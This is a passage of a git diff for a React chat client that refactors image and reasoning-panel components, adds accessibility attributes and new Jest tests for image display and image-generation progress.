+        <div className={cn('overflow-hidden', progress < 1 ? [IMAGE_FULL_H, 'w-full'] : 'w-auto')}>
+          {progress < 1 && <PixelCard variant="default" progress={progress} randomness={0.6} />}
           <Image
+            width={imgWidth}
+            args={parsedArgs}
+            height={imgHeight}
             altText={filename}
             imagePath={filepath ?? ''}
-            width={Number(dimensions.width?.split('px')[0])}
-            height={Number(dimensions.height?.split('px')[0])}
-            placeholderDimensions={{ width: dimensions.width, height: dimensions.height }}
-            args={parsedArgs}
+            className={progress < 1 ? 'invisible absolute' : ''}
           />
         </div>
       </div>
diff --git a/client/src/components/Chat/Messages/Content/Parts/Reasoning.tsx b/client/src/components/Chat/Messages/Content/Parts/Reasoning.tsx
index 85d1b00b4b..44d646fcd8 100644
--- a/client/src/components/Chat/Messages/Content/Parts/Reasoning.tsx
+++ b/client/src/components/Chat/Messages/Content/Parts/Reasoning.tsx
@@ -1,4 +1,4 @@
-import { memo, useMemo, useState, useCallback, useRef } from 'react';
+import { memo, useMemo, useState, useCallback, useRef, useId } from 'react';
 import { useAtom } from 'jotai';
 import type { MouseEvent, FocusEvent } from 'react';
 import { ContentTypes } from 'librechat-data-provider';
@@ -36,6 +36,7 @@ type ReasoningProps = {
  * For legacy text-based messages, see Thinking.tsx component.
  */
 const Reasoning = memo(({ reasoning, isLast }: ReasoningProps) => {
+  const contentId = useId();
   const localize = useLocalize();
   const [showThinking] = useAtom(showThinkingAtom);
   const [isExpanded, setIsExpanded] = useState(showThinking);
@@ -104,9 +105,14 @@ const Reasoning = memo(({ reasoning, isLast }: ReasoningProps) => {
             onClick={handleClick}
             label={label}
             content={reasoningText}
+            contentId={contentId}
           />
         </div>
         <div
+          id={contentId}
+          role="group"
+          aria-label={label}
+          aria-hidden={!isExpanded || undefined}
           className={cn(
             'grid transition-all duration-300 ease-out',
             nextType !== ContentTypes.THINK && isExpanded && 'mb-4',
@@ -122,6 +128,7 @@ const Reasoning = memo(({ reasoning, isLast }: ReasoningProps) => {
               isExpanded={isExpanded}
               onClick={handleClick}
               content={reasoningText}
+              contentId={contentId}
             />
           </div>
         </div>
diff --git a/client/src/components/Chat/Messages/Content/Parts/Text.tsx b/client/src/components/Chat/Messages/Content/Parts/Text.tsx
index c926622c9d..aec8d949e0 100644
--- a/client/src/components/Chat/Messages/Content/Parts/Text.tsx
+++ b/client/src/components/Chat/Messages/Content/Parts/Text.tsx
@@ -17,7 +17,7 @@ type ContentType =
   | ReactElement<React.ComponentProps<typeof MarkdownLite>>
   | ReactElement;
 
-const TextPart = memo(({ text, isCreatedByUser, showCursor }: TextPartProps) => {
+const TextPart = memo(function TextPart({ text, isCreatedByUser, showCursor }: TextPartProps) {
   const { isSubmitting = false, isLatestMessage = false } = useMessageContext();
   const enableUserMsgMarkdown = useRecoilValue(store.enableUserMsgMarkdown);
   const showCursorState = useMemo(() => showCursor && isSubmitting, [showCursor, isSubmitting]);
@@ -46,5 +46,6 @@ const TextPart = memo(({ text, isCreatedByUser, showCursor }: TextPartProps) =>
     </div>
   );
 });
+TextPart.displayName = 'TextPart';
 
 export default TextPart;
diff --git a/client/src/components/Chat/Messages/Content/Parts/Thinking.tsx b/client/src/components/Chat/Messages/Content/Parts/Thinking.tsx
index 0c5992f4ab..7641738c15 100644
--- a/client/src/components/Chat/Messages/Content/Parts/Thinking.tsx
+++ b/client/src/components/Chat/Messages/Content/Parts/Thinking.tsx
@@ -1,4 +1,4 @@
-import { useState, useMemo, memo, useCallback, useRef, type MouseEvent } from 'react';
+import { useState, useMemo, memo, useCallback, useRef, useId, type MouseEvent } from 'react';
 import { useAtomValue } from 'jotai';
 import { Clipboard, CheckMark, TooltipAnchor } from '@librechat/client';
 import { Lightbulb, ChevronDown, ChevronUp } from 'lucide-react';
@@ -35,12 +35,14 @@ export const ThinkingButton = memo(
     onClick,
     label,
     content,
+    contentId,
     showCopyButton = true,
   }: {
     isExpanded: boolean;
     onClick: (e: MouseEvent<HTMLButtonElement>) => void;
     label: string;
     content?: string;
+    contentId: string;
     showCopyButton?: boolean;
   }) => {
     const localize = useLocalize();
@@ -66,6 +68,7 @@ export const ThinkingButton = memo(
           type="button"
           onClick={onClick}
           aria-expanded={isExpanded}
+          aria-controls={contentId}
           className={cn(
             'group/button flex flex-1 items-center justify-start rounded-lg leading-[18px]',
             fontSize,
@@ -132,11 +135,13 @@ export const FloatingThinkingBar = memo(
     isExpanded,
     onClick,
     content,
+    contentId,
   }: {
     isVisible: boolean;
     isExpanded: boolean;
     onClick: (e: MouseEvent<HTMLButtonElement>) => void;
     content?: string;
+    contentId: string;
   }) => {
     const localize = useLocalize();
     const [isCopied, setIsCopied] = useState(false);
@@ -176,6 +181,8 @@ export const FloatingThinkingBar = memo(
               tabIndex={isVisible ? 0 : -1}
               onClick={onClick}
               aria-label={collapseTooltip}
+              aria-expanded={isExpanded}
+              aria-controls={contentId}
               className={cn(
                 'flex items-center justify-center rounded-lg bg-surface-secondary p-1.5 text-text-secondary-alt shadow-sm',
                 'hover:bg-surface-hover hover:text-text-primary',
@@ -240,6 +247,7 @@ const Thinking: React.ElementType = memo(({ children }: { children: React.ReactN
   const [isExpanded, setIsExpanded] = useState(showThinking);
   const [isBarVisible, setIsBarVisible] = useState(false);
   const containerRef = useRef<HTMLDivElement>(null);
+  const contentId = useId();
 
   const handleClick = useCallback((e: MouseEvent<HTMLButtonElement>) => {
     e.preventDefault();
@@ -295,9 +303,14 @@ const Thinking: React.ElementType = memo(({ children }: { children: React.ReactN
           onClick={handleClick}
           label={label}
           content={textContent}
+          contentId={contentId}
         />
       </div>
       <div
+        id={contentId}
+        role="group"
+        aria-label={label}
+        aria-hidden={!isExpanded || undefined}
         className={cn('grid transition-all duration-300 ease-out', isExpanded && 'mb-8')}
         style={{
           gridTemplateRows: isExpanded ? '1fr' : '0fr',
@@ -310,6 +323,7 @@ const Thinking: React.ElementType = memo(({ children }: { children: React.ReactN
             isExpanded={isExpanded}
             onClick={handleClick}
             content={textContent}
+            contentId={contentId}
           />
         </div>
       </div>
@@ -322,4 +336,4 @@ ThinkingContent.displayName = 'ThinkingContent';
 FloatingThinkingBar.displayName = 'FloatingThinkingBar';
 Thinking.displayName = 'Thinking';
 
-export default memo(Thinking);
+export default Thinking;
diff --git a/client/src/components/Chat/Messages/Content/__tests__/Image.test.tsx b/client/src/components/Chat/Messages/Content/__tests__/Image.test.tsx
new file mode 100644
index 0000000000..e7e0b99f1e
--- /dev/null
+++ b/client/src/components/Chat/Messages/Content/__tests__/Image.test.tsx
@@ -0,0 +1,179 @@
+import React from 'react';
+import { render, screen, fireEvent } from '@testing-library/react';
+import Image, { _resetImageCaches } from '../Image';
+
+jest.mock('~/utils', () => ({
+  cn: (...classes: (string | boolean | undefined | null)[]) =>
+    classes
+      .flat(Infinity)
+      .filter((c): c is string => typeof c === 'string' && c.length > 0)
+      .join(' '),
+}));
+
+jest.mock('librechat-data-provider', () => ({
+  apiBaseUrl: () => '',
+}));
+
+jest.mock('@librechat/client', () => ({
+  Skeleton: ({ className, ...props }: React.HTMLAttributes<HTMLDivElement>) => (
+    <div data-testid="skeleton" className={className} {...props} />
+  ),
+}));
+
+jest.mock('../DialogImage', () => ({
+  __esModule: true,
+  default: ({ isOpen, src }: { isOpen: boolean; src: string }) =>
+    isOpen ? <div data-testid="dialog-image" data-src={src} /> : null,
+}));
+
+describe('Image', () => {
+  const defaultProps = {
+    imagePath: '/images/test.png',
+    altText: 'Test image',
+  };
+
+  beforeEach(() => {
+    _resetImageCaches();
+    jest.clearAllMocks();
+  });
+
+  describe('rendering without dimensions', () => {
+    it('renders with max-h-[45vh] height constraint', () => {
+      render(<Image {...defaultProps} />);
+      const img = screen.getByRole('img');
+      expect(img.className).toContain('max-h-[45vh]');
+    });
+
+    it('renders with max-w-full to prevent landscape clipping', () => {
+      render(<Image {...defaultProps} />);
+      const img = screen.getByRole('img');
+      expect(img.className).toContain('max-w-full');
+    });
+
+    it('renders with w-auto and h-auto for natural aspect ratio', () => {
+      render(<Image {...defaultProps} />);
+      const img = screen.getByRole('img');
+      expect(img.className).toContain('w-auto');
+      expect(img.className).toContain('h-auto');
+    });
+
+    it('does not show skeleton without dimensions', () => {
+      render(<Image {...defaultProps} />);
+      expect(screen.queryByTestId('skeleton')).not.toBeInTheDocument();
+    });
+
+    it('does not apply heightStyle without dimensions', () => {
+      render(<Image {...defaultProps} />);
+      const button = screen.getByRole('button');
+      expect(button.style.height).toBeFalsy();
+    });
+  });
+
+  describe('rendering with dimensions', () => {
+    it('shows skeleton behind image', () => {
+      render(<Image {...defaultProps} width={1024} height={1792} />);
+      expect(screen.getByTestId('skeleton')).toBeInTheDocument();
+    });
+
+    it('applies computed heightStyle to button', () => {
+      render(<Image {...defaultProps} width={1024} height={1792} />);
+      const button = screen.getByRole('button');
+      expect(button.style.height).toBeTruthy();
+      expect(button.style.height).toContain('min(45vh');
+    });
+
+    it('uses size-full object-contain on image when dimensions provided', () => {
+      render(<Image {...defaultProps} width={768} height={916} />);
+      const img = screen.getByRole('img');
+      expect(img.className).toContain('size-full');
+      expect(img.className).toContain('object-contain');
+    });
+
+    it('skeleton is absolute inset-0', () => {
+      render(<Image {...defaultProps} width={512} height={512} />);
+      const skeleton = screen.getByTestId('skeleton');
+      expect(skeleton.className).toContain('absolute');
+      expect(skeleton.className).toContain('inset-0');
+    });
+
+    it('marks URL as painted on load and skips skeleton on rerender', () => {
+      const { rerender } = render(<Image {...defaultProps} width={512} height={512} />);
+      const img = screen.getByRole('img');
+
+      expect(screen.getByTestId('skeleton')).toBeInTheDocument();
+
+      fireEvent.load(img);
+
+      // Rerender same component — skeleton should not show (URL painted)
+      rerender(<Image {...defaultProps} width={512} height={512} />);
+      expect(screen.queryByTestId('skeleton')).not.toBeInTheDocument();
+    });
+  });
+
+  describe('common behavior', () => {
+    it('applies custom className to the button wrapper', () => {
+      render(<Image {...defaultProps} className="mb-4" />);
+      const button = screen.getByRole('button');
+      expect(button.className).toContain('mb-4');
+    });
+
+    it('sets correct alt text', () => {
+      render(<Image {...defaultProps} />);
+      const img = screen.getByRole('img');
+      expect(img).toHaveAttribute('alt', 'Test image');
+    });
+
+    it('has correct accessibility attributes on button', () => {
+      render(<Image {...defaultProps} />);
+      const button = screen.getByRole('button');
+      expect(button).toHaveAttribute('aria-label', 'View Test image in dialog');
+      expect(button).toHaveAttribute('aria-haspopup', 'dialog');
+    });
+  });
+
+  describe('dialog interaction', () => {
+    it('opens dialog on button click', () => {
+      render(<Image {...defaultProps} />);
+      expect(screen.queryByTestId('dialog-image')).not.toBeInTheDocument();
+
+      const button = screen.getByRole('button');
+      fireEvent.click(button);
+
+      expect(screen.getByTestId('dialog-image')).toBeInTheDocument();
+    });
+
+    it('dialog is always mounted (not gated by load state)', () => {
+      render(<Image {...defaultProps} />);
+      // DialogImage mock returns null when isOpen=false, but the component is in the tree
+      // Clicking should immediately show it
+      fireEvent.click(screen.getByRole('button'));
+      expect(screen.getByTestId('dialog-image')).toBeInTheDocument();
+    });
+  });
+
+  describe('image URL resolution', () => {
+    it('passes /images/ paths through with base URL', () => {
+      render(<Image {...defaultProps} imagePath="/images/test.png" />);
+      const img = screen.getByRole('img');
+      expect(img).toHaveAttribute('src', '/images/test.png');
+    });
+
+    it('passes absolute http URLs through unchanged', () => {
+      render(<Image {...defaultProps} imagePath="https://example.com/photo.jpg" />);
+      const img = screen.getByRole('img');
+      expect(img).toHaveAttribute('src', 'https://example.com/photo.jpg');
+    });
+
+    it('passes data URIs through unchanged', () => {
+      render(<Image {...defaultProps} imagePath="data:image/png;base64,abc" />);
+      const img = screen.getByRole('img');
+      expect(img).toHaveAttribute('src', 'data:image/png;base64,abc');
+    });
+
+    it('passes non-/images/ paths through unchanged', () => {
+      render(<Image {...defaultProps} imagePath="/other/path.png" />);
+      const img = screen.getByRole('img');
+      expect(img).toHaveAttribute('src', '/other/path.png');
+    });
+  });
+});
diff --git a/client/src/components/Chat/Messages/Content/__tests__/OpenAIImageGen.test.tsx b/client/src/components/Chat/Messages/Content/__tests__/OpenAIImageGen.test.tsx
new file mode 100644
index 0000000000..ef8ac2807a
--- /dev/null
+++ b/client/src/components/Chat/Messages/Content/__tests__/OpenAIImageGen.test.tsx
@@ -0,0 +1,182 @@
+import React from 'react';
+import { render, screen } from '@testing-library/react';
+import OpenAIImageGen from '../Parts/OpenAIImageGen/OpenAIImageGen';
+
+jest.mock('~/utils', () => ({
+  cn: (...classes: (string | boolean | undefined | null)[]) =>
+    classes
+      .flat(Infinity)
+      .filter((c): c is string => typeof c === 'string' && c.length > 0)
+      .join(' '),
+}));
+
+jest.mock('~/hooks', () => ({
+  useLocalize: () => (key: string) => key,
+}));
+
+jest.mock('~/components/Chat/Messages/Content/Image', () => ({
+  __esModule: true,
+  default: ({
+    altText,
+    imagePath,
+    className,
+  }: {
+    altText: string;
+    imagePath: string;
+    className?: string;
+  }) => (
+    <div
+      data-testid="image-component"
+      data-alt={altText}
+      data-src={imagePath}
+      className={className}
+    />
+  ),
+}));
+
+jest.mock('@librechat/client', () => ({
+  PixelCard: ({ progress }: { progress: number }) => (
+    <div data-testid="pixel-card" data-progress={progress} />
+  ),
+}));
+
+jest.mock('../Parts/OpenAIImageGen/ProgressText', () => ({
+  __esModule: true,
+  default: ({ progress, error }: { progress: number; error: boolean }) => (
+    <div data-testid="progress-text" data-progress={progress} data-error={String(error)} />
+  ),
+}));
+
+describe('OpenAIImageGen', () => {
+  const defaultProps = {
+    initialProgress: 0.1,
+    isSubmitting: true,
+    toolName: 'image_gen_oai',
+    args: '{"prompt":"a cat","quality":"high","size":"1024x1024"}',
+    output: null as string | null,
+    attachments: undefined,
+  };
+
+  beforeEach(() => {
+    jest.clearAllMocks();
+    jest.useFakeTimers();
+  });
+
+  afterEach(() => {
+    jest.useRealTimers();
+  });
+
+  describe('image preloading', () => {
+    it('keeps Image mounted during generation (progress < 1)', () => {
+      render(<OpenAIImageGen {...defaultProps} initialProgress={0.5} />);
+      expect(screen.getByTestId('image-component')).toBeInTheDocument();
+    });
+
+    it('hides Image with invisible absolute while progress < 1', () => {
+      render(<OpenAIImageGen {...defaultProps} initialProgress={0.5} />);
+      const image = screen.getByTestId('image-component');
+      expect(image.className).toContain('invisible');
+      expect(image.className).toContain('absolute');
+    });
+
+    it('shows Image without hiding classes when progress >= 1', () => {
+      render(
+        <OpenAIImageGen
+          {...defaultProps}
+          initialProgress={1}
+          isSubmitting={false}
+          attachments={[
+            {
+              filename: 'cat.png',
+              filepath: '/images/cat.png',
+              conversationId: 'conv1',
+            } as never,
+          ]}
+        />,
+      );
+      const image = screen.getByTestId('image-component');
+      expect(image.className).not.toContain('invisible');
+      expect(image.className).not.toContain('absolute');
+    });
+  });
+
+  describe('PixelCard visibility', () => {
+    it('shows PixelCard when progress < 1', () => {
+      render(<OpenAIImageGen {...defaultProps} initialProgress={0.5} />);
+      expect(screen.getByTestId('pixel-card')).toBeInTheDocument();
+    });
+
+    it('hides PixelCard when progress >= 1', () => {
+      render(<OpenAIImageGen {...defaultProps} initialProgress={1} isSubmitting={false} />);
+      expect(screen.queryByTestId('pixel-card')).not.toBeInTheDocument();
+    });
+  });
+
+  describe('layout classes', () => {
+    it('applies max-h-[45vh] to the outer container', () => {
+      const { container } = render(<OpenAIImageGen {...defaultProps} />);
+      const outerDiv = container.querySelector('[class*="max-h-"]');
+      expect(outerDiv?.className).toContain('max-h-[45vh]');
+    });
+
+    it('applies h-[45vh] w-full to inner container during loading', () => {
+      const { container } = render(<OpenAIImageGen {...defaultProps} initialProgress={0.5} />);
+      const innerDiv = container.querySelector('[class*="h-[45vh]"]');
+      expect(innerDiv).not.toBeNull();
+      expect(innerDiv?.className).toContain('w-full');
+    });
+
+    it('applies w-auto to inner container when complete', () => {
+      const { container } = render(
+        <OpenAIImageGen {...defaultProps} initialProgress={1} isSubmitting={false} />,
+      );
+      const overflowDiv = container.querySelector('[class*="overflow-hidden"]');
+      expect(overflowDiv?.className).toContain('w-auto');
+    });
+  });
+
+  describe('args parsing', () => {
+    it('parses quality from args', () => {
+      render(<OpenAIImageGen {...defaultProps} />);
+      expect(screen.getByTestId('progress-text')).toBeInTheDocument();
+    });
+
+    it('handles invalid JSON args gracefully', () => {
+      const consoleSpy = jest.spyOn(console, 'error').mockImplementation();
+      render(<OpenAIImageGen {...defaultProps} args="invalid json" />);
+      expect(screen.getByTestId('image-component')).toBeInTheDocument();
+      consoleSpy.mockRestore();
+    });
+
+    it('handles object args', () => {
+      render(
+        <OpenAIImageGen
+          {...defaultProps}
+          args={{ prompt: 'a dog', quality: 'low', size: '512x512' }}
+        />,
+      );
+      expect(screen.getByTestId('image-component')).toBeInTheDocument();
+    });
+  });
+
+  describe('cancellation', () => {
+    it('shows error state when output contains error', () => {
+      render(
+        <OpenAIImageGen
+          {...defaultProps}
+          output="Error processing tool call"
+          isSubmitting={false}
+          initialProgress={0.5}
+        />,
+      );
+      const progressText = screen.getByTestId('progress-text');
+      expect(progressText).toHaveAttribute('data-error', 'true');
+    });
+
+    it('shows cancelled state when not submitting and incomplete', () => {
+      render(<OpenAIImageGen {...defaultProps} isSubmitting={false} initialProgress={0.5} />);
+      const progressText = screen.getByTestId('progress-text');
+      expect(progressText).toHaveAttribute('data-error', 'true');
+    });
+  });
+});
diff --git a/client/src/components/Chat/Messages/HoverButtons.tsx b/client/src/components/Chat/Messages/HoverButtons.tsx
index 5d60223d08..180e8b599e 100644
--- a/client/src/components/Chat/Messages/HoverButtons.tsx
+++ b/client/src/components/Chat/Messages/HoverButtons.tsx
@@ -18,7 +18,7 @@ type THoverButtons = {
   message: TMessage;
   regenerate: () => void;
   handleContinue: (e: React.MouseEvent<HTMLButtonElement>) => void;
-  latestMessage: TMessage | null;
+  latestMessageId?: string;
   isLast: boolean;
   index: number;
   handleFeedback?: ({ feedback }: { feedback: TFeedback | undefined }) => void;
@@ -119,7 +119,7 @@ const HoverButtons = ({
   message,
   regenerate,
   handleContinue,
-  latestMessage,
+  latestMessageId,
   isLast,
   handleFeedback,
 }: THoverButtons) => {
@@ -143,7 +143,7 @@ const HoverButtons = ({
     searchResult: message.searchResult,
     finish_reason: message.finish_reason,
     isCreatedByUser: message.isCreatedByUser,
-    latestMessageId: latestMessage?.messageId,
+    latestMessageId: latestMessageId,
   });
 
   const {
@@ -239,7 +239,7 @@ const HoverButtons = ({
         messageId={message.messageId}
         conversationId={conversation.conversationId}
         forkingSupported={forkingSupported}
-        latestMessageId={latestMessage?.messageId}
+        latestMessageId={latestMessageId}
         isLast={isLast}
       />
 
diff --git a/client/src/components/Chat/Messages/Message.tsx b/client/src/components/Chat/Messages/Message.tsx
index 78e08e3631..f9db38fdab 100644
--- a/client/src/components/Chat/Messages/Message.tsx
+++ b/client/src/components/Chat/Messages/Message.tsx
@@ -4,25 +4,23 @@ import type { TMessageProps } from '~/common';
 import MessageRender from './ui/MessageRender';
 import MultiMessage from './MultiMessage';
 
-const MessageContainer = React.memo(
-  ({
-    handleScroll,
-    children,
-  }: {
-    handleScroll: (event?: unknown) => void;
-    children: React.ReactNode;
-  }) => {
-    return (
-      <div
-        className="text-token-text-primary w-full border-0 bg-transparent dark:border-0 dark:bg-transparent"
-        onWheel={handleScroll}
-        onTouchMove={handleScroll}
-      >
-        {children}
-      </div>
-    );
-  },
-);
+const MessageContainer = React.memo(function MessageContainer({
+  handleScroll,
+  children,
+}: {
+  handleScroll: (event?: unknown) => void;
+  children: React.ReactNode;
+}) {
+  return (
+    <div
+      className="text-token-text-primary w-full border-0 bg-transparent dark:border-0 dark:bg-transparent"
+      onWheel={handleScroll}
+      onTouchMove={handleScroll}
+    >
+      {children}
+    </div>
+  );
+});
 
 export default function Message(props: TMessageProps) {
   const { conversation, handleScroll } = useMessageProcess({
diff --git a/client/src/components/Chat/Messages/MessageParts.tsx b/client/src/components/Chat/Messages/MessageParts.tsx
index 0005ee0499..7aa73a54e6 100644
--- a/client/src/components/Chat/Messages/MessageParts.tsx
+++ b/client/src/components/Chat/Messages/MessageParts.tsx
@@ -32,7 +32,7 @@ export default function Message(props: TMessageProps) {
     handleScroll,
     conversation,
     isSubmitting,
-    latestMessage,
+    latestMessageId,
     handleContinue,
     copyToClipboard,
     regenerateMessage,
@@ -129,7 +129,7 @@ export default function Message(props: TMessageProps) {
                 </h2>
               )}
               <div className="flex flex-col gap-1">
-                <div className="flex max-w-full flex-grow flex-col gap-0">
+                <div className="flex min-h-[20px] max-w-full flex-grow flex-col gap-0">
                   <ContentParts
                     edit={edit}
                     isLast={isLast}
@@ -142,12 +142,12 @@ export default function Message(props: TMessageProps) {
                     setSiblingIdx={setSiblingIdx}
                     isCreatedByUser={message.isCreatedByUser}
                     conversationId={conversation?.conversationId}
-                    isLatestMessage={messageId === latestMessage?.messageId}
+                    isLatestMessage={messageId === latestMessageId}
                     content={message.content as Array<TMessageContentParts | undefined>}
                   />
                 </div>
                 {isLast && isSubmitting ? (
-                  <div className="mt-1 h-[27px] bg-transparent" />
+                  <div className="mt-1 h-[31px] bg-transparent" />
                 ) : (
                   <SubRow classes="text-xs">
                     <SiblingSwitch
@@ -165,7 +165,7 @@ export default function Message(props: TMessageProps) {
                       regenerate={() => regenerateMessage()}
                       copyToClipboard={copyToClipboard}
                       handleContinue={handleContinue}
-                      latestMessage={latestMessage}
+                      latestMessageId={latestMessageId}
                       isLast={isLast}
                     />
                   </SubRow>
diff --git a/client/src/components/Chat/Messages/ui/MessageRender.tsx b/client/src/components/Chat/Messages/ui/MessageRender.tsx
index 0d40b4a98f..e261a576bd 100644
--- a/client/src/components/Chat/Messages/ui/MessageRender.tsx
+++ b/client/src/components/Chat/Messages/ui/MessageRender.tsx
@@ -4,11 +4,11 @@ import { useRecoilValue } from 'recoil';
 import { type TMessage } from 'librechat-data-provider';
 import type { TMessageProps, TMessageIcon } from '~/common';
 import MessageContent from '~/components/Chat/Messages/Content/MessageContent';
+import { useLocalize, useMessageActions, useContentMetadata } from '~/hooks';
 import PlaceholderRow from '~/components/Chat/Messages/ui/PlaceholderRow';
 import SiblingSwitch from '~/components/Chat/Messages/SiblingSwitch';
 import HoverButtons from '~/components/Chat/Messages/HoverButtons';
 import MessageIcon from '~/components/Chat/Messages/MessageIcon';
-import { useLocalize, useMessageActions, useContentMetadata } from '~/hooks';
 import SubRow from '~/components/Chat/Messages/SubRow';
 import { cn, getMessageAriaLabel } from '~/utils';
 import { fontSizeAtom } from '~/store/fontSize';
@@ -23,180 +23,183 @@ type MessageRenderProps = {
   'currentEditId' | 'setCurrentEditId' | 'siblingIdx' | 'setSiblingIdx' | 'siblingCount'
 >;
 
-const MessageRender = memo(
-  ({
+const MessageRender = memo(function MessageRender({
+  message: msg,
+  siblingIdx,
+  siblingCount,
+  setSiblingIdx,
+  currentEditId,
+  setCurrentEditId,
+  isSubmitting = false,
+}: MessageRenderProps) {
+  const localize = useLocalize();
+  const {
+    ask,
+    edit,
+    index,
+    agent,
+    assistant,
+    enterEdit,
+    conversation,
+    messageLabel,
+    handleFeedback,
+    handleContinue,
+    latestMessageId,
+    copyToClipboard,
+    regenerateMessage,
+    latestMessageDepth,
+  } = useMessageActions({
     message: msg,
-    siblingIdx,
-    siblingCount,
-    setSiblingIdx,
     currentEditId,
     setCurrentEditId,
-    isSubmitting = false,
-  }: MessageRenderProps) => {
-    const localize = useLocalize();
-    const {
-      ask,
-      edit,
-      index,
-      agent,
-      assistant,
-      enterEdit,
-      conversation,
+  });
+  const fontSize = useAtomValue(fontSizeAtom);
+  const maximizeChatSpace = useRecoilValue(store.maximizeChatSpace);
+
+  const handleRegenerateMessage = useCallback(() => regenerateMessage(), [regenerateMessage]);
+  const hasNoChildren = !(msg?.children?.length ?? 0);
+  const isLast = useMemo(
+    () => hasNoChildren && (msg?.depth === latestMessageDepth || msg?.depth === -1),
+    [hasNoChildren, msg?.depth, latestMessageDepth],
+  );
+  const isLatestMessage = msg?.messageId === latestMessageId;
+  /** Only pass isSubmitting to the latest message to prevent unnecessary re-renders */
+  const effectiveIsSubmitting = isLatestMessage ? isSubmitting : false;
+
+  const iconData: TMessageIcon = useMemo(
+    () => ({
+      endpoint: msg?.endpoint ?? conversation?.endpoint,
+      model: msg?.model ?? conversation?.model,
+      iconURL: msg?.iconURL,
+      modelLabel: messageLabel,
+      isCreatedByUser: msg?.isCreatedByUser,
+    }),
+    [
       messageLabel,
-      latestMessage,
-      handleFeedback,
-      handleContinue,
-      copyToClipboard,
-      regenerateMessage,
-    } = useMessageActions({
-      message: msg,
-      currentEditId,
-      setCurrentEditId,
-    });
-    const fontSize = useAtomValue(fontSizeAtom);
-    const maximizeChatSpace = useRecoilValue(store.maximizeChatSpace);
+      conversation?.endpoint,
+      conversation?.model,
+      msg?.model,
+      msg?.iconURL,
+      msg?.endpoint,
+      msg?.isCreatedByUser,
+    ],
+  );
 
-    const handleRegenerateMessage = useCallback(() => regenerateMessage(), [regenerateMessage]);
-    const hasNoChildren = !(msg?.children?.length ?? 0);
-    const isLast = useMemo(
-      () => hasNoChildren && (msg?.depth === latestMessage?.depth || msg?.depth === -1),
-      [hasNoChildren, msg?.depth, latestMessage?.depth],
-    );
-    const isLatestMessage = msg?.messageId === latestMessage?.messageId;
-    /** Only pass isSubmitting to the latest message to prevent unnecessary re-renders */
-    const effectiveIsSubmitting = isLatestMessage ? isSubmitting : false;
+  const { hasParallelContent } = useContentMetadata(msg);
+  const messageId = msg?.messageId ?? '';
+  const messageContextValue = useMemo(
+    () => ({
+      messageId,
+      isLatestMessage,
+      isExpanded: false as const,
+      isSubmitting: effectiveIsSubmitting,
+      conversationId: conversation?.conversationId,
+    }),
+    [messageId, conversation?.conversationId, effectiveIsSubmitting, isLatestMessage],
+  );
 
-    const iconData: TMessageIcon = useMemo(
-      () => ({
-        endpoint: msg?.endpoint ?? conversation?.endpoint,
-        model: msg?.model ?? conversation?.model,
-        iconURL: msg?.iconURL,
-        modelLabel: messageLabel,
-        isCreatedByUser: msg?.isCreatedByUser,
-      }),
-      [
-        messageLabel,
-        conversation?.endpoint,
-        conversation?.model,
-        msg?.model,
-        msg?.iconURL,
-        msg?.endpoint,
-        msg?.isCreatedByUser,
-      ],
-    );
+  if (!msg) {
+    return null;
+  }
 
-    const { hasParallelContent } = useContentMetadata(msg);
-
-    if (!msg) {
-      return null;
+  const getChatWidthClass = () => {
+    if (maximizeChatSpace) {
+      return 'w-full max-w-full md:px-5 lg:px-1 xl:px-5';
     }
+    if (hasParallelContent) {
+      return 'md:max-w-[58rem] xl:max-w-[70rem]';
+    }
+    return 'md:max-w-[47rem] xl:max-w-[55rem]';
+  };
 
-    const getChatWidthClass = () => {
-      if (maximizeChatSpace) {
-        return 'w-full max-w-full md:px-5 lg:px-1 xl:px-5';
-      }
-      if (hasParallelContent) {
-        return 'md:max-w-[58rem] xl:max-w-[70rem]';
-      }
-      return 'md:max-w-[47rem] xl:max-w-[55rem]';
-    };
+  const baseClasses = {
+    common: 'group mx-auto flex flex-1 gap-3 transition-all duration-300 transform-gpu ',
+    chat: getChatWidthClass(),
+  };
 
-    const baseClasses = {
-      common: 'group mx-auto flex flex-1 gap-3 transition-all duration-300 transform-gpu ',
-      chat: getChatWidthClass(),
-    };
+  const conditionalClasses = {
+    focus: 'focus:outline-none focus:ring-2 focus:ring-border-xheavy',
+  };
 
-    const conditionalClasses = {
-      focus: 'focus:outline-none focus:ring-2 focus:ring-border-xheavy',
-    };
+  return (
+    <div
+      id={msg.messageId}
+      aria-label={getMessageAriaLabel(msg, localize)}
+      className={cn(
+        baseClasses.common,
+        baseClasses.chat,
+        conditionalClasses.focus,
+        'message-render',
+      )}
+    >
+      {!hasParallelContent && (
+        <div className="relative flex flex-shrink-0 flex-col items-center">
+          <div className="flex h-6 w-6 items-center justify-center overflow-hidden rounded-full">
+            <MessageIcon iconData={iconData} assistant={assistant} agent={agent} />
+          </div>
+        </div>
+      )}
 
-    return (
       <div
-        id={msg.messageId}
-        aria-label={getMessageAriaLabel(msg, localize)}
         className={cn(
-          baseClasses.common,
-          baseClasses.chat,
-          conditionalClasses.focus,
-          'message-render',
+          'relative flex flex-col',
+          hasParallelContent ? 'w-full' : 'w-11/12',
+          msg.isCreatedByUser ? 'user-turn' : 'agent-turn',
         )}
       >
         {!hasParallelContent && (
-          <div className="relative flex flex-shrink-0 flex-col items-center">
-            <div className="flex h-6 w-6 items-center justify-center overflow-hidden rounded-full">
-              <MessageIcon iconData={iconData} assistant={assistant} agent={agent} />
-            </div>
-          </div>
+          <h2 className={cn('select-none font-semibold', fontSize)}>{messageLabel}</h2>
         )}
 
-        <div
-          className={cn(
-            'relative flex flex-col',
-            hasParallelContent ? 'w-full' : 'w-11/12',
-            msg.isCreatedByUser ? 'user-turn' : 'agent-turn',
-          )}
-        >
-          {!hasParallelContent && (
-            <h2 className={cn('select-none font-semibold', fontSize)}>{messageLabel}</h2>
-          )}
-
-          <div className="flex flex-col gap-1">
-            <div className="flex max-w-full flex-grow flex-col gap-0">
-              <MessageContext.Provider
-                value={{
-                  messageId: msg.messageId,
-                  conversationId: conversation?.conversationId,
-                  isExpanded: false,
-                  isSubmitting: effectiveIsSubmitting,
-                  isLatestMessage,
-                }}
-              >
-                <MessageContent
-                  ask={ask}
-                  edit={edit}
-                  isLast={isLast}
-                  text={msg.text || ''}
-                  message={msg}
-                  enterEdit={enterEdit}
-                  error={!!(msg.error ?? false)}
-                  isSubmitting={effectiveIsSubmitting}
-                  unfinished={msg.unfinished ?? false}
-                  isCreatedByUser={msg.isCreatedByUser ?? true}
-                  siblingIdx={siblingIdx ?? 0}
-                  setSiblingIdx={setSiblingIdx ?? (() => ({}))}
-                />
-              </MessageContext.Provider>
-            </div>
